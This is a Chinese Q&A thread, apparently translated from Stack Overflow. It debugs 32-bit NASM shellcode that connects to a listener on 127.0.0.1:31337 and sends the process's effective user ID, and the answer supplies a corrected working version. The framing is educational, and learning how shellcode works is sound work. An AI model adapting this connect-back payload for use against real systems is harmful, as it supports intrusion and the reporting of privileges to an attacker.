Question

我正在尝试编写一些Shell代码，这些代码将连接到localhost上端口31337上的侦听器，并发送该程序的有效用户ID以供学习。

为了简化调试，我构建了以下代码并与nasm组装在一起：

BITS 32

section .data

section .bss

section .text
    global _start:

_start:

    ; s = socket(2, 1, 0)
    push BYTE 0x66 ; socketcall is syscall #102 (0x66).
    pop eax
    cdq ; Zero out edx for use as a null DWORD later.
    xor ebx, ebx ; ebx is the type of socketcall.
    inc ebx ; 1 = SYS_SOCKET = socket()
    push edx ; Build arg array: { protocol = 0,
    push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
    push BYTE 0x2 ; AF_INET = 2 }
    mov ecx, esp ; ecx = ptr to argument array
    int 0x80 ; After syscall, eax has socket file descriptor.
    xchg esi, eax ; Save socket FD in esi for later.

    ; connect(s, [2, 31337, <IP address>], 16)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    inc ebx ; ebx = 2 (needed for AF_INET)
    push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
    push WORD 0x697a ; (in reverse order) PORT = 31337
    push WORD bx ; AF_INET = 2
    mov ecx, esp ; ecx = server struct pointer
    push BYTE 16 ; argv: { sizeof(server struct) = 16,
    push ecx ; server struct pointer,
    push esi ; socket file descriptor }
    mov ecx, esp ; ecx = argument array
    inc ebx ; ebx = 3 = SYS_CONNECT = connect()
    int 0x80

    ; geteuid(void)
    push BYTE 0x31 ; call for geteuid (syscall #49)
    pop eax
    int 0x80 ; eax = effective user id
    mov edi, eax ; store euid for later

    ; send(3, euid, 8, 0)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    xor edx, edx ; creating zero for flags
    push edx 
    push BYTE 8 ; size of data to transmit
    push edi ; euid
    push esi ; file descriptor
    mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
    mov ecx, esp ; argument array
    int 0x80

    ; exit(1)       
    push BYTE 1 ; call for exit
    pop eax
    xor ebx, ebx
    int 0x80

当我运行此代码时，将成功创建套接字，并建立与我正在端口31337上监听的服务器的连接。但是，不会发送我的用户ID。运行strace时，收到以下输出：

execve("./connect_back", ["./connect_back"], [/* 18 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), 
sin_addr=inet_addr("127.0.0.1")}, 16) = 0
geteuid()                               = 0
send(3, NULL, 8, 0)                     = -1 EFAULT (Bad address)
_exit(0)                                = ?
+++ exited with 0 +++

看来我的euid没有被用作参数。但是，当我在二进制文件上运行gdb时，该程序似乎可以正确设置send调用的参数：

我是nasm的新手，所以如果这是一个愚蠢的语法问题，我深表歉意。谢谢您的帮助！

Answer 1

TL; DR ：您在STRACE中为send看到的值NULL是因为您以root用户的身份运行STRACE，并且以root的UID运行Linux发行版通常为0。在调试器中，您看到的是0x3e8，因为您以UID = 1000（即0x3e8）的非特权用户身份运行调试器。

sys_send需要指向数据的指针，而不是数据。即使值0x0000和0x03e8不是内存地址，也被视为内存地址。这两个地址都是我们没有读取特权的内存，因此结果是strace输出的send

中的 -EFAULT （错误地址）

您正在将UID的值传递给send，而不是指向数据的指针。 send使用数据指针，而不是数据本身。此代码将UID压入堆栈，然后将堆栈地址用作指向UID的指针。指向UID的指针用于调用send：

BITS 32

section .data

section .bss

section .text
    global _start:

_start:

    ; s = socket(2, 1, 0)
    push BYTE 0x66 ; socketcall is syscall #102 (0x66).
    pop eax
    cdq ; Zero out edx for use as a null DWORD later.
    xor ebx, ebx ; ebx is the type of socketcall.
    inc ebx ; 1 = SYS_SOCKET = socket()
    push edx ; Build arg array: { protocol = 0,
    push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
    push BYTE 0x2 ; AF_INET = 2 }
    mov ecx, esp ; ecx = ptr to argument array
    int 0x80 ; After syscall, eax has socket file descriptor.
    xchg esi, eax ; Save socket FD in esi for later.

    ; connect(s, [2, 31337, <IP address>], 16)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    inc ebx ; ebx = 2 (needed for AF_INET)
    push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
    push WORD 0x697a ; (in reverse order) PORT = 31337
    push WORD bx ; AF_INET = 2
    mov ecx, esp ; ecx = server struct pointer
    push BYTE 16 ; argv: { sizeof(server struct) = 16,
    push ecx ; server struct pointer,
    push esi ; socket file descriptor }
    mov ecx, esp ; ecx = argument array
    inc ebx ; ebx = 3 = SYS_CONNECT = connect()
    int 0x80

    ; geteuid(void)
    push BYTE 0x31 ; call for geteuid (syscall #49)
    pop eax
    int 0x80 ; eax = effective user id
    push eax     ; Put EAX on the stack
    mov edi, esp ; Get the address (on stack) of the UID

    ; send(3, euid, 8, 0)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    xor edx, edx ; creating zero for flags
    push edx
    push BYTE 4 ; size of data to transmit
    push edi ; euid
    push esi ; file descriptor
    mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
    mov ecx, esp ; argument array
    int 0x80

    ; exit(1)
    push BYTE 1 ; call for exit
    pop eax
    xor ebx, ebx
    int 0x80

我发送4个字节的数据（32位整数），而不是8个字节。接收方应该准确接收4个字节，其中包含UID的二进制值。

如果要将UID作为可打印的字符串发送，则必须将UID转换为字符串，然后将字符串的地址传递给send。

nasm x86：发送系统调用解释有效负载以NULL形式发送

1 个答案: